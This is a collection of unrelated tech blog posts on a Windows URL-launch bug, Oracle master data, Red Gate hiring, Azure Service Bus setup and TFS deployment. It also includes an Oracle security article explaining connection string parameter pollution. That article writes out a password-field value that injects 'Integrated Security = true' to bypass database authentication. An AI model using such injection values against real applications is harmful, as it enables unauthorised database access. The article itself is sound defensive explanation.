your default browser and even then it may not fail depending on how you installed your browser. To see if this is a problem create a small Console application and call Process.Start() with a URL in it:namespace Win8ShellBugConsole { class Program { static void Main(string[] args) { Console.WriteLine("Launching Url..."); Process.Start("http://microsoft.com"); Console.Write("Press any key to continue..."); Console.ReadKey(); Console.WriteLine("\r\n\r\nLaunching image..."); Process.Start(Path.GetFullPath(@"..\..\sailbig.jpg")); Console.Write("Press any key to continue..."); Console.ReadKey(); } } } Compile this code. Then execute the code from Explorer (not from Visual Studio because that may change the permissions). If you simply run the EXE and you're not running as an administrator, you'll see the Web page pop up in the browser as well as the image loading. Now run the same thing with Run As Administrator: Now when you run it you get a nice error when Process.Start() is fired: The same happens if you are running with User Account Control off altogether - ie. you are running as a full admin account. Now if you comment out the URL in the code above and just fire the image display - that works just fine in any user mode. As does opening any other local file type or even starting a new EXE locally (ie. Process.Start("c:\windows\notepad.exe"). All that works, EXCEPT for URLs. The code above uses Process.Start() in .NET but the same happens in Win32 Applications that use the ShellExecute API. In some of my older Fox apps ShellExecute returns an error code of 31 - which is No Shell Association found. What's the Deal? It turns out the problem has to do with the way browsers are registering themselves on Windows. Internet Explorer - being a built-in application in Windows 8 - apparently does this correctly, but other browsers possibly don't or at least didn't at the time I installed them. So even Chrome, which continually updates itself, has a recent version that apparently has this registration issue fixed, I was unable to simply set IE as my default browser then use Chrome to 'Set as Default Browser'. It still didn't work. Neither did using the Set Program Associations dialog which lets you assign what extensions are mapped to by a given application. Each application provides a set of extension/moniker mappings that it supports and this dialog lets you associate them on a system wide basis. This also did not work for Chrome or any of the other browsers at first. However, after repeated retries here eventually I did manage to get FireFox to work, but not any of the others. What Works? Reinstall the Browser In the end I decided on the hard core pull the plug solution: Totally uninstall and re-install Chrome in this case. And lo and behold, after reinstall everything was working fine. Now even removing the association for Chrome, switching to IE as the default browser and then back to Chrome works. But, even though the version of Chrome I was running before uninstalling and reinstalling is the same as I'm running now after the reinstall now it works. Of course I had to find out the hard way, before Richard commented with a note regarding what the issue is with Chrome at least: http://code.google.com/p/chromium/issues/detail?id=156400 As expected the issue is a registration issue - with keys not being registered at the machine level. Reading this I'm still not sure why this should be a problem - an elevated account still runs under the same user account (ie. I'm still rickstrahl even if I Run As Administrator), so why shouldn't an app be able to read my Current User registry hive? And also that doesn't quite explain why if I register the extensions using Run As Administrator in Chrome when using Set as Default Browser). But in the end it works… Not so fast It's now a couple of days later and still there are some oddball problems although this time they appear to be purely Chrome issues. After the reinstall Chrome seems to pop up properly with ShellExecute() calls both in regular user and Admin mode. However, it now looks like Chrome is actually running two completely separate user profiles for each. For example, when I run Visual Studio in Admin mode and go to View in browser, Chrome complains that it was installed in Admin mode and can't launch (WTF?). Then you retry a few times later and it ends up working. When launched that way some of the plug-ins installed don't show up with the effect that sometimes they're visible sometimes they're not. Also Chrome seems to loose my configuration and Google sign in between sessions now, presumably when switching user modes. Add-ins installed in admin mode don't show up in user mode and vice versa. Ah, this is lovely. Did I mention that I freaking hate UAC precisely because of this kind of bullshit. You can never tell exactly what account your app is running under, and apparently apps also have a hard time trying to put data into the right place that works for both scenarios. And as my recent post on using Windows Live accounts shows it's yet another level of abstraction ontop of the underlying system identity that can cause all sort of small side effect headaches like this. Hopefully, most of you are skirting this issue altogether - having installed more recent versions of your favorite browsers. If not, hopefully this post will take you straight to reinstallation to fix this annoying issue.© Rick Strahl, West Wind Technologies, 2005-2012Posted in Windows  .NET   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)

    - by eric.maurice
    Hi, this is Shaomin Wang. I am a security analyst in Oracle's Security Alerts Group. My primary responsibility is to evaluate the security vulnerabilities reported externally by security researchers on Oracle Fusion Middleware and to ensure timely resolution through the Critical Patch Update. Today, I am going to talk about a serious type of attack: Connection String Parameter Pollution (CSPP). Earlier this year, at the Black Hat DC 2010 Conference, two Spanish security researchers, Jose Palazon and Chema Alonso, unveiled a new class of security vulnerabilities, which target insecure dynamic connections between web applications and databases. The attack called Connection String Parameter Pollution (CSPP) exploits specifically the semicolon delimited database connection strings that are constructed dynamically based on the user inputs from web applications. CSPP, if carried out successfully, can be used to steal user identities and hijack web credentials. CSPP is a high risk attack because of the relative ease with which it can be carried out (low access complexity) and the potential results it can have (high impact). In today's blog, we are going to first look at what connection strings are and then review the different ways connection string injections can be leveraged by malicious hackers. We will then discuss how CSPP differs from traditional connection string injection, and the measures organizations can take to prevent this kind of attacks. In web applications, a connection string is a set of values that specifies information to connect to backend data repositories, in most cases, databases. The connection string is passed to a provider or driver to initiate a connection. Vendors or manufacturers write their own providers for different databases. Since there are many different providers and each provider has multiple ways to make a connection, there are many different ways to write a connection string. Here are some examples of connection strings from Oracle Data Provider for .Net/ODP.Net: Oracle Data Provider for .Net / ODP.Net; Manufacturer: Oracle; Type: .NET Framework Class Library: - Using TNS Data Source = orcl; User ID = myUsername; Password = myPassword; - Using integrated security Data Source = orcl; Integrated Security = SSPI; - Using the Easy Connect Naming Method Data Source = username/password@//myserver:1521/my.server.com - Specifying Pooling parameters Data Source=myOracleDB; User Id=myUsername; Password=myPassword; Min Pool Size=10; Connection Lifetime=120; Connection Timeout=60; Incr Pool Size=5; Decr Pool Size=2; There are many variations of the connection strings, but the majority of connection strings are key value pairs delimited by semicolons. Attacks on connection strings are not new (see for example, this SANS White Paper on Securing SQL Connection String). Connection strings are vulnerable to injection attacks when dynamic string concatenation is used to build connection strings based on user input. When the user input is not validated or filtered, and malicious text or characters are not properly escaped, an attacker can potentially access sensitive data or resources. For a number of years now, vendors, including Oracle, have created connection string builder class tools to help developers generate valid connection strings and potentially prevent this kind of vulnerability. Unfortunately, not all application developers use these utilities because they are not aware of the danger posed by this kind of attacks. So how are Connection String parameter Pollution (CSPP) attacks different from traditional Connection String Injection attacks? First, let's look at what parameter pollution attacks are. Parameter pollution is a technique, which typically involves appending repeating parameters to the request strings to attack the receiving end. Much of the public attention around parameter pollution was initiated as a result of a presentation on HTTP Parameter Pollution attacks by Stefano Di Paola and Luca Carettoni delivered at the 2009 Appsec OWASP Conference in Poland. In HTTP Parameter Pollution attacks, an attacker submits additional parameters in HTTP GET/POST to a web application, and if these parameters have the same name as an existing parameter, the web application may react in different ways depends on how the web application and web server deal with multiple parameters with the same name. When applied to connections strings, the rule for the majority of database providers is the "last one wins" algorithm. If a KEYWORD=VALUE pair occurs more than once in the connection string, the value associated with the LAST occurrence is used. This opens the door to some serious attacks. By way of example, in a web application, a user enters username and password; a subsequent connection string is generated to connect to the back end database. Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX; In the password field, if the attacker enters "xxx; Integrated Security = true", the connection string becomes, Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX; Intergrated Security = true; Under the "last one wins" principle, the web application will then try to connect to the database using the operating system account under which the application is running to bypass normal authentication. CSPP poses serious risks for unprepared organizations. It can be particularly dangerous if an Enterprise Systems Management web front-end is compromised, because attackers can then gain access to control panels to configure databases, systems accounts, etc. Fortunately, organizations can take steps to prevent this kind of attacks. CSPP falls into the Injection category of attacks like Cross Site Scripting or SQL Injection, which are made possible when inputs from users are not properly escaped or sanitized. Escaping is a technique used to ensure that characters (mostly from user inputs) are treated as data, not as characters, that is relevant to the interpreter's parser. Software developers need to become aware of the danger of these attacks and learn about the defenses mechanism they need to introduce in their code. As well, software vendors need to provide templates or classes to facilitate coding and eliminate developers' guesswork for protecting against such vulnerabilities. Oracle has introduced the OracleConnectionStringBuilder class in Oracle Data Provider for .NET. Using this class, developers can employ a configuration file to provide the connection string and/or dynamically set the values through key/value pairs. It makes creating connection strings less error-prone and easier to manager, and ultimately using the OracleConnectionStringBuilder class provides better security against injection into connection strings. For More Information: - The OracleConnectionStringBuilder is located at http://download.oracle.com/docs/cd/B28359_01/win.111/b28375/OracleConnectionStringBuilderClass.htm - Oracle has developed a publicly available course on preventing SQL Injections. The Server Technologies Curriculum course "Defending Against SQL Injection Attacks!" is located at http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm - The OWASP web site also provides a number of useful resources. It is located at http://www.owasp.org/index.php/Main_Page

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  • Oracle's Global Single Schema

    - by david.butler(at)oracle.com
    Maximizing business process efficiencies in a heterogeneous environment is very difficult. The difficulty stems from the fact that the various applications across the Information Technology (IT) landscape employ different integration standards, different message passing strategies, and different workflow engines. Vendors such as Oracle and others are delivering tools to help IT organizations manage the complexities introduced by these differences. But the one remaining intractable problem impacting efficient operations is the fact that these applications have different definitions for the same business data. Business data is your business information codified for computer programs to use. A good data model will represent the way your organization does business. The computer applications your organization deploys to improve operational efficiency are built to operate on the business data organized into this schema.  If the schema does not represent how you do business, the applications on that schema cannot provide the features you need to achieve the desired efficiencies. Business processes span these applications. Data problems break these processes rendering them far less efficient than they need to be to achieve organization goals. Thus, the expected return on the investment in these applications is never realized. The success of all business processes depends on the availability of accurate master data.  Clearly, the solution to this problem is to consolidate all the master data an organization uses to run its business. Then clean it up, augment it, govern it, and connect it back to the applications that need it. Until now, this obvious solution has been difficult to achieve because no one had defined a data model sufficiently broad, deep and flexible enough to support transaction processing on all key business entities and serve as a master superset to all other operational data models deployed in heterogeneous IT environments. Today, the situation has changed. Oracle has created an operational data model (aka schema) that can support accurate and consistent master data across heterogeneous IT systems. This is foundational for providing a way to consolidate and integrate master data without having to replace investments in existing applications. This Global Single Schema (GSS) represents a revolutionary breakthrough that allows for true master data consolidation. Oracle has deep knowledge of applications dating back to the early 1990s.  It developed applications in the areas of Supply Chain Management (SCM), Product Lifecycle Management (PLM), Enterprise Resource Planning (ERP), Customer Relationship Management (CRM), Human Capital Management (HCM), Financials and Manufacturing. In addition, Oracle applications were delivered for key industries such as Communications, Financial Services, Retail, Public Sector, High Tech Manufacturing (HTM) and more. Expertise in all these areas drove requirements for GSS. The following figure illustrates Oracle's unique position that enabled the creation of the Global Single Schema. GSS Requirements Gathering GSS defines all the key business entities and attributes including Customers, Contacts, Suppliers, Accounts, Products, Services, Materials, Employees, Installed Base, Sites, Assets, and Inventory to name just a few. In addition, Oracle delivers GSS pre-integrated with a wide variety of operational applications.  Business Process Automation EBusiness is about maximizing operational efficiency. At the highest level, these 'operations' span all that you do as an organization.  The following figure illustrates some of these high-level business processes. Enterprise Business Processes Supplies are procured. Assets are maintained. Materials are stored. Inventory is accumulated. Products and Services are engineered, produced and sold. Customers are serviced. And across this entire spectrum, Employees do the procuring, supporting, engineering, producing, selling and servicing. Not shown, but not to be overlooked, are the accounting and the financial processes associated with all this procuring, manufacturing, and selling activity. Supporting all these applications is the master data. When this data is fragmented and inconsistent, the business processes fail and inefficiencies multiply. But imagine having all the data under these operational business processes in one place. ·            The same accurate and timely customer data will be provided to all your operational applications from the call center to the point of sale. ·            The same accurate and timely supplier data will be provided to all your operational applications from supply chain planning to procurement. ·            The same accurate and timely product information will be available to all your operational applications from demand chain planning to marketing. You would have a single version of the truth about your assets, financial information, customers, suppliers, employees, products and services to support your business automation processes as they flow across your business applications. All company and partner personnel will access the same exact data entity across all your channels and across all your lines of business. Oracle's Global Single Schema enables this vision of a single version of the truth across the heterogeneous operational applications supporting the entire enterprise. Global Single Schema Oracle's Global Single Schema organizes hundreds of thousands of attributes into 165 major schema objects supporting over 180 business application modules. It is designed for international operations, and extensibility.  The schema is delivered with a full set of public Application Programming Interfaces (APIs) and an Integration Repository with modern Service Oriented Architecture interfaces to make data available as a services (DaaS) to business processes and enable operations in heterogeneous IT environments. ·         Key tables can be extended with unlimited numbers of additional attributes and attribute groups for maximum flexibility.  o    This enables model extensions that reflect business entities unique to your organization's operations. ·         The schema is multi-organization enabled so data manipulation can be controlled along organizational boundaries. ·         It uses variable byte Unicode to support over 31 languages. ·         The schema encodes flexible date and flexible address formats for easy localizations. No matter how complex your business is, Oracle's Global Single Schema can hold your business objects and support your global operations. Oracle's Global Single Schema identifies and defines the business objects an enterprise needs within the context of its business operations. The interrelationships between the business objects are also contained within the GSS data model. Their presence expresses fundamental business rules for the interaction between business entities. The following figure illustrates some of these connections.   Interconnected Business Entities Interconnecte business processes require interconnected business data. No other MDM vendor has this capability. Everyone else has either one entity they can master or separate disconnected models for various business entities. Higher level integrations are made available, but that is a weak architectural alternative to data level integration in this critically important aspect of Master Data Management.    

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  • Reg Gets a Job at Red Gate (and what happens behind the scenes)

    - by red(at)work
    Mr Reg Gater works at one of Cambridge’s many high-tech companies. He doesn’t love his job, but he puts up with it because... well, it could be worse. Every day he drives to work around the Red Gate roundabout, wondering what his boss is going to blame him for today, and wondering if there could be a better job out there for him. By late morning he already feels like handing his notice in. He got the hacky look from his boss for being 5 minutes late, and then they ran out of tea. Again. He goes to the local sandwich shop for lunch, and picks up a Red Gate job menu and a Book of Red Gate while he’s waiting for his order. That night, he goes along to Cambridge Geek Nights and sees some very enthusiastic Red Gaters talking about the work they do; it sounds interesting and, of all things, fun. He takes a quick look at the job vacancies on the Red Gate website, and an hour later realises he’s still there – looking at videos, photos and people profiles. He especially likes the Red Gate’s Got Talent page, and is very impressed with Simon Johnson’s marathon time. He thinks that he’d quite like to work with such awesome people. It just so happens that Red Gate recently decided that they wanted to hire another hot shot team member. Behind the scenes, the wheels were set in motion: the recruitment team met with the hiring manager to understand exactly what they’re looking for, and to decide what interview tests to do, who will do the interviews, and to kick-start any interview training those people might need. Next up, a job description and job advert were written, and the job was put on the market. Reg applies, and his CV lands in the Recruitment team’s inbox and they open it up with eager anticipation that Reg could be the next awesome new starter. He looks good, and in a jiffy they’ve arranged an interview. Reg arrives for his interview, and is greeted by a smiley receptionist. She offers him a selection of drinks and he feels instantly relaxed. A couple of interviews and an assessment later, he gets a job offer. We make his day and he makes ours by accepting, and becoming one of the 60 new starters so far this year. Behind the scenes, things start moving all over again. The HR team arranges for a “Welcome” goodie box to be whisked out to him, prepares his contract, sends an email to Information Services (Or IS for short - we’ll come back to them), keeps in touch with Reg to make sure he knows what to expect on his first day, and of course asks him to fill in the all-important wiki questionnaire so his new colleagues can start to get to know him before he even joins. Meanwhile, the IS team see an email in SupportWorks from HR. They see that Reg will be starting in the sales team in a few days’ time, and they know exactly what to do. They pull out a new machine, and within minutes have used their automated deployment software to install every piece of software that a new recruit could ever need. They also check with Reg’s new manager to see if he has any special requirements that they could help with. Reg starts and is amazed to find a fully configured machine sitting on his desk, complete with stationery and all the other tools he’ll need to do his job. He feels even more cared for after he gets a workstation assessment, and realises he’d be comfier with an ergonomic keyboard and a footstool. They arrive minutes later, just like that. His manager starts him off on his induction and sales training. Along with job-specific training, he’ll also have a buddy to help him find his feet, and loads of pre-arranged demos and introductions. Reg settles in nicely, and is great at his job. He enjoys the canteen, and regularly eats one of the 40,000 meals provided each year. He gets used to the selection of teas that are available, develops a taste for champagne launch parties, and has his fair share of the 25,000 cups of coffee downed at Red Gate towers each year. He goes along to some Feel Good Fund events, and donates a little something to charity in exchange for a turn on the chocolate fountain. He’s looking a little scruffy, so he decides to get his hair cut in between meetings, just in time for the Red Gate birthday company photo. Reg starts a new project: identifying existing customers to up-sell to new bundles. He talks with the web team to generate lists of qualifying customers who haven’t recently been sent marketing emails, and sends emails out, using a new in-house developed tool to schedule follow-up calls in CRM for the same group. The customer responds, saying they’d like to upgrade but are having a licensing problem – Reg sends the issue to Support, and it gets routed to the web team. The team identifies a workaround, and the bug gets scheduled into the next maintenance release in a fortnight’s time (hey; they got lucky). With all the new stuff Reg is working on, he realises that he’d be way more efficient if he had a third monitor. He speaks to IS and they get him one - no argument. He also needs a test machine and then some extra memory. Done. He then thinks he needs an iPad, and goes to ask for one. He gets told to stop pushing his luck. Some time later, Reg’s wife has a baby, so Reg gets 2 weeks of paid paternity leave and a bunch of flowers sent to his house. He signs up to the childcare scheme so that he doesn’t have to pay National Insurance on the first £243 of his childcare. The accounts team makes it all happen seamlessly, as they did with his Give As You Earn payments, which come out of his wages and go straight to his favorite charity. Reg’s sales career is going well. He’s grateful for the help that he gets from the product support team. How do they answer all those 900-ish support calls so effortlessly each month? He’s impressed with the patches that are sent out to customers who find “interesting behavior” in their tools, and to the customers who just must have that new feature. A little later in his career at Red Gate, Reg decides that he’d like to learn about management. He goes on some management training specially customised for Red Gate, joins the Management Book Club, and gets together with other new managers to brainstorm how to get the most out of one to one meetings with his team. Reg decides to go for a game of Foosball to celebrate his good fortune with his team, and has to wait for Finance to finish. While he’s waiting, he reflects on the wonderful time he’s had at Red Gate. He can’t put his finger on what it is exactly, but he knows he’s on to a good thing. All of the stuff that happened to Reg didn’t just happen magically. We’ve got teams of people working relentlessly behind the scenes to make sure that everyone here is comfortable, safe, well fed and caffeinated to the max.

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  • Integration Patterns with Azure Service Bus Relay, Part 1: Exposing the on-premise service

    - by Elton Stoneman
    We're in the process of delivering an enabling project to expose on-premise WCF services securely to Internet consumers. The Azure Service Bus Relay is doing the clever stuff, we register our on-premise service with Azure, consumers call into our .servicebus.windows.net namespace, and their requests are relayed and serviced on-premise. In theory it's all wonderfully simple; by using the relay we get lots of protocol options, free HTTPS and load balancing, and by integrating to ACS we get plenty of security options. Part of our delivery is a suite of sample consumers for the service - .NET, jQuery, PHP - and this set of posts will cover setting up the service and the consumers. Part 1: Exposing the on-premise service In theory, this is ultra-straightforward. In practice, and on a dev laptop it is - but in a corporate network with firewalls and proxies, it isn't, so we'll walkthrough some of the pitfalls. Note that I'm using the "old" Azure portal which will soon be out of date, but the new shiny portal should have the same steps available and be easier to use. We start with a simple WCF service which takes a string as input, reverses the string and returns it. The Part 1 version of the code is on GitHub here: on GitHub here: IPASBR Part 1. Configuring Azure Service Bus Start by logging into the Azure portal and registering a Service Bus namespace which will be our endpoint in the cloud. Give it a globally unique name, set it up somewhere near you (if you’re in Europe, remember Europe (North) is Ireland, and Europe (West) is the Netherlands), and  enable ACS integration by ticking "Access Control" as a service: Authenticating and authorizing to ACS When we try to register our on-premise service as a listener for the Service Bus endpoint, we need to supply credentials, which means only trusted service providers can act as listeners. We can use the default "owner" credentials, but that has admin permissions so a dedicated service account is better (Neil Mackenzie has a good post On Not Using owner with the Azure AppFabric Service Bus with lots of permission details). Click on "Access Control Service" for the namespace, navigate to Service Identities and add a new one. Give the new account a sensible name and description: Let ACS generate a symmetric key for you (this will be the shared secret we use in the on-premise service to authenticate as a listener), but be sure to set the expiration date to something usable. The portal defaults to expiring new identities after 1 year - but when your year is up *your identity will expire without warning* and everything will stop working. In production, you'll need governance to manage identity expiration and a process to make sure you renew identities and roll new keys regularly. The new service identity needs to be authorized to listen on the service bus endpoint. This is done through claim mapping in ACS - we'll set up a rule that says if the nameidentifier in the input claims has the value serviceProvider, in the output we'll have an action claim with the value Listen. In the ACS portal you'll see that there is already a Relying Party Application set up for ServiceBus, which has a Default rule group. Edit the rule group and click Add to add this new rule: The values to use are: Issuer: Access Control Service Input claim type: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier Input claim value: serviceProvider Output claim type: net.windows.servicebus.action Output claim value: Listen When your service namespace and identity are set up, open the Part 1 solution and put your own namespace, service identity name and secret key into the file AzureConnectionDetails.xml in Solution Items, e.g: <azure namespace="sixeyed-ipasbr">    <!-- ACS credentials for the listening service (Part1):-->   <service identityName="serviceProvider"            symmetricKey="nuR2tHhlrTCqf4YwjT2RA2BZ/+xa23euaRJNLh1a/V4="/>  </azure> Build the solution, and the T4 template will generate the Web.config for the service project with your Azure details in the transportClientEndpointBehavior:           <behavior name="SharedSecret">             <transportClientEndpointBehavior credentialType="SharedSecret">               <clientCredentials>                 <sharedSecret issuerName="serviceProvider"                               issuerSecret="nuR2tHhlrTCqf4YwjT2RA2BZ/+xa23euaRJNLh1a/V4="/>               </clientCredentials>             </transportClientEndpointBehavior>           </behavior> , and your service namespace in the Azure endpoint:         <!-- Azure Service Bus endpoints -->          <endpoint address="sb://sixeyed-ipasbr.servicebus.windows.net/net"                   binding="netTcpRelayBinding"                   contract="Sixeyed.Ipasbr.Services.IFormatService"                   behaviorConfiguration="SharedSecret">         </endpoint> The sample project is hosted in IIS, but it won't register with Azure until the service is activated. Typically you'd install AppFabric 1.1 for Widnows Server and set the service to auto-start in IIS, but for dev just navigate to the local REST URL, which will activate the service and register it with Azure. Testing the service locally As well as an Azure endpoint, the service has a WebHttpBinding for local REST access:         <!-- local REST endpoint for internal use -->         <endpoint address="rest"                   binding="webHttpBinding"                   behaviorConfiguration="RESTBehavior"                   contract="Sixeyed.Ipasbr.Services.IFormatService" /> Build the service, then navigate to: http://localhost/Sixeyed.Ipasbr.Services/FormatService.svc/rest/reverse?string=abc123 - and you should see the reversed string response: If your network allows it, you'll get the expected response as before, but in the background your service will also be listening in the cloud. Good stuff! Who needs network security? Onto the next post for consuming the service with the netTcpRelayBinding.  Setting up network access to Azure But, if you get an error, it's because your network is secured and it's doing something to stop the relay working. The Service Bus relay bindings try to use direct TCP connections to Azure, so if ports 9350-9354 are available *outbound*, then the relay will run through them. If not, the binding steps down to standard HTTP, and issues a CONNECT across port 443 or 80 to set up a tunnel for the relay. If your network security guys are doing their job, the first option will be blocked by the firewall, and the second option will be blocked by the proxy, so you'll get this error: System.ServiceModel.CommunicationException: Unable to reach sixeyed-ipasbr.servicebus.windows.net via TCP (9351, 9352) or HTTP (80, 443) - and that will probably be the start of lots of discussions. Network guys don't really like giving servers special permissions for the web proxy, and they really don't like opening ports, so they'll need to be convinced about this. The resolution in our case was to put up a dedicated box in a DMZ, tinker with the firewall and the proxy until we got a relay connection working, then run some traffic which the the network guys monitored to do a security assessment afterwards. Along the way we hit a few more issues, diagnosed mainly with Fiddler and Wireshark: System.Net.ProtocolViolationException: Chunked encoding upload is not supported on the HTTP/1.0 protocol - this means the TCP ports are not available, so Azure tries to relay messaging traffic across HTTP. The service can access the endpoint, but the proxy is downgrading traffic to HTTP 1.0, which does not support tunneling, so Azure can’t make its connection. We were using the Squid proxy, version 2.6. The Squid project is incrementally adding HTTP 1.1 support, but there's no definitive list of what's supported in what version (here are some hints). System.ServiceModel.Security.SecurityNegotiationException: The X.509 certificate CN=servicebus.windows.net chain building failed. The certificate that was used has a trust chain that cannot be verified. Replace the certificate or change the certificateValidationMode. The evocation function was unable to check revocation because the revocation server was offline. - by this point we'd given up on the HTTP proxy and opened the TCP ports. We got this error when the relay binding does it's authentication hop to ACS. The messaging traffic is TCP, but the control traffic still goes over HTTP, and as part of the ACS authentication the process checks with a revocation server to see if Microsoft’s ACS cert is still valid, so the proxy still needs some clearance. The service account (the IIS app pool identity) needs access to: www.public-trust.com mscrl.microsoft.com We still got this error periodically with different accounts running the app pool. We fixed that by ensuring the machine-wide proxy settings are set up, so every account uses the correct proxy: netsh winhttp set proxy proxy-server="http://proxy.x.y.z" - and you might need to run this to clear out your credential cache: certutil -urlcache * delete If your network guys end up grudgingly opening ports, they can restrict connections to the IP address range for your chosen Azure datacentre, which might make them happier - see Windows Azure Datacenter IP Ranges. After all that you've hopefully got an on-premise service listening in the cloud, which you can consume from pretty much any technology.

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  • Advanced Continuous Delivery to Azure from TFS, Part 1: Good Enough Is Not Great

    - by jasont
    The folks over on the TFS / Visual Studio team have been working hard at releasing a steady stream of new features for their new hosted Team Foundation Service in the cloud. One of the most significant features released was simple continuous delivery of your solution into your Azure deployments. The original announcement from Brian Harry can be found here. Team Foundation Service is a great platform for .Net developers who are used to working with TFS on-premises. I’ve been using it since it became available at the //BUILD conference in 2011, and when I recently came to work at Stackify, it was one of the first changes I made. Managing work items is much easier than the tool we were using previously, although there are some limitations (more on that in another blog post). However, when continuous deployment was made available, it blew my mind. It was the killer feature I didn’t know I needed. Not to say that I wasn’t previously an advocate for continuous delivery; just that it was always a pain to set up and configure. Having it hosted - and a one-click setup – well, that’s just the best thing since sliced bread. It made perfect sense: my source code is in the cloud, and my deployment is in the cloud. Great! I can queue up a build from my iPad or phone and just let it go! I quickly tore through the quick setup and saw it all work… sort of. This will be the first in a three part series on how to take the building block of Team Foundation Service continuous delivery and build a CD model that will actually work for any team deploying something more advanced than a “Hello World” example. Part 1: Good Enough Is Not Great Part 2: A Model That Works: Branching and Multiple Deployment Environments Part 3: Other Considerations: SQL, Custom Tasks, Etc Good Enough Is Not Great There. I’ve said it. I certainly hope no one on the TFS team is offended, but it’s the truth. Let’s take a look under the hood and understand how it works, and then why it’s not enough to handle real world CD as-is. How it works. (note that I’ve skipped a couple of steps; I already have my accounts set up and something deployed to Azure) The first step is to establish some oAuth magic between your Azure management portal and your TFS Instance. You do this via the management portal. Once it’s done, you have a new build process template in your TFS instance. (Image lifted from the documentation) From here, you’ll get the usual prompts for security, allowing access, etc. But you’ll also get to pick which Solution in your source control to build. Here’s what the bulk of the build definition looks like. All I’ve had to do is add in the solution to build (notice that mine is from a specific branch – Release – more on that later) and I’ve changed the configuration. I trigger the build, and voila! I have an Azure deployment a few minutes later. The beauty of this is that it’s all in the cloud and I’m not waiting for my machine to compile and upload the package. (I also had to enable the build definition first – by default it is created in disabled state, probably a good thing since it will trigger on every.single.checkin by default.) I get to see a history of deployments from the Azure portal, and can link into TFS to see the associated changesets and work items. You’ll notice also that this build definition also automatically put my code in the Staging slot of my Azure deployment – more on this soon. For now, I can VIP swap and be in production. (P.S. I hate VIP swap and “production” and “staging” in Azure. More on that later too.) That’s it. That’s the default out-of-box experience. Easy, right? But it’s full of room for improvement, so let’s get into that….   The Problems Nothing is perfect (except my code – it’s always perfect), and neither is Continuous Deployment without a bit of work to help it fit your dev team’s process. So what are the issues? Issue 1: Staging vs QA vs Prod vs whatever other environments your team may have. This, for me, is the big hairy one. Remember how this automatically deployed to staging rather than prod for us? There are a couple of issues with this model: If I want to deliver to prod, it requires intervention on my part after deployment (via a VIP swap). If I truly want to promote between environments (i.e. Nightly Build –> Stable QA –> Production) I likely have configuration changes between each environment such as database connection strings and this process (and the VIP swap) doesn’t account for this. Yet. Issue 2: Branching and delivering on every check-in. As I mentioned above, I have set this up to target a specific branch – Release – of my code. For the purposes of this example, I have adopted the “basic” branching strategy as defined by the ALM Rangers. This basically establishes a “Main” trunk where you branch off Dev and Release branches. Granted, the Release branch is usually the only thing you will deploy to production, but you certainly don’t want to roll to production automatically when you merge to the Release branch and check-in (unless you like the thrill of it, and in that case, I like your style, cowboy….). Rather, you have nightly build and QA environments, or if you’ve adopted the feature-branch model you have environments for those. Those are the environments you want to continuously deploy to. But that takes us back to Issue 1: we currently have a 1:1 solution to Azure deployment target. Issue 3: SQL and other custom tasks. Let’s be honest and address the elephant in the room: I need to get some sleep because I see an elephant in the room. But seriously, I can’t think of an application I have touched in the last 10 years that doesn’t need to consider SQL changes when deploying code and upgrading an environment. Microsoft seems perfectly content to ignore this elephant for now: yes, they’ve added Data Tier Applications. But let’s be honest with ourselves again: no one really uses it, and it’s not suitable for anything more complex than a Hello World sample project database. Why? Because it doesn’t fit well into a great source control story. Developers make stored procedure and table changes all day long while coding complex applications, and if someone forgets to go update the DACPAC before the automated deployment, you have a broken build until it’s completed. Developers – not just DBAs – also like to work with SQL in SQL tools, not in Visual Studio. I’m really picking on SQL because that’s generally the biggest concern that I hear. But we need to account for any custom tasks as well in the build process.   The Solutions… ? We’ve taken a look at how this all works, and addressed the shortcomings. In my next post (which I promise will be very, very soon), I will detail how I’ve overcome these shortcomings and used this foundation to create a mature, flexible model for deploying my app – any version, any time, to any environment.

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  • Grow Your Business with Security

    - by Darin Pendergraft
    Author: Kevin Moulton Kevin Moulton has been in the security space for more than 25 years, and with Oracle for 7 years. He manages the East EnterpriseSecurity Sales Consulting Team. He is also a Distinguished Toastmaster. Follow Kevin on Twitter at twitter.com/kevin_moulton, where he sometimes tweets about security, but might also tweet about running, beer, food, baseball, football, good books, or whatever else grabs his attention. Kevin will be a regular contributor to this blog so stay tuned for more posts from him. It happened again! There I was, reading something interesting online, and realizing that a friend might find it interesting too. I clicked on the little email link, thinking that I could easily forward this to my friend, but no! Instead, a new screen popped up where I was asked to create an account. I was expected to create a User ID and password, not to mention providing some personally identifiable information, just for the privilege of helping that website spread their word. Of course, I didn’t want to have to remember a new account and password, I didn’t want to provide the requisite information, and I didn’t want to waste my time. I gave up, closed the web page, and moved on to something else. I was left with a bad taste in my mouth, and my friend might never find her way to this interesting website. If you were this content provider, would this be the outcome you were looking for? A few days later, I had a similar experience, but this one went a little differently. I was surfing the web, when I happened upon some little chotcke that I just had to have. I added it to my cart. When I went to buy the item, I was again brought to a page to create account. Groan! But wait! On this page, I also had the option to sign in with my OpenID account, my Facebook account, my Yahoo account, or my Google Account. I have all of those! No new account to create, no new password to remember, and no personally identifiable information to be given to someone else (I’ve already given it all to those other guys, after all). In this case, the vendor was easy to deal with, and I happily completed the transaction. That pleasant experience will bring me back again. This is where security can grow your business. It’s a differentiator. You’ve got to have a presence on the web, and that presence has to take into account all the smart phones everyone’s carrying, and the tablets that took over cyber Monday this year. If you are a company that a customer can deal with securely, and do so easily, then you are a company customers will come back to again and again. I recently had a need to open a new bank account. Every bank has a web presence now, but they are certainly not all the same. I wanted one that I could deal with easily using my laptop, but I also wanted 2-factor authentication in case I had to login from a shared machine, and I wanted an app for my iPad. I found a bank with all three, and that’s who I am doing business with. Let’s say, for example, that I’m in a regular Texas Hold-em game on Friday nights, so I move a couple of hundred bucks from checking to savings on Friday afternoons. I move a similar amount each week and I do it from the same machine. The bank trusts me, and they trust my machine. Most importantly, they trust my behavior. This is adaptive authentication. There should be no reason for my bank to make this transaction 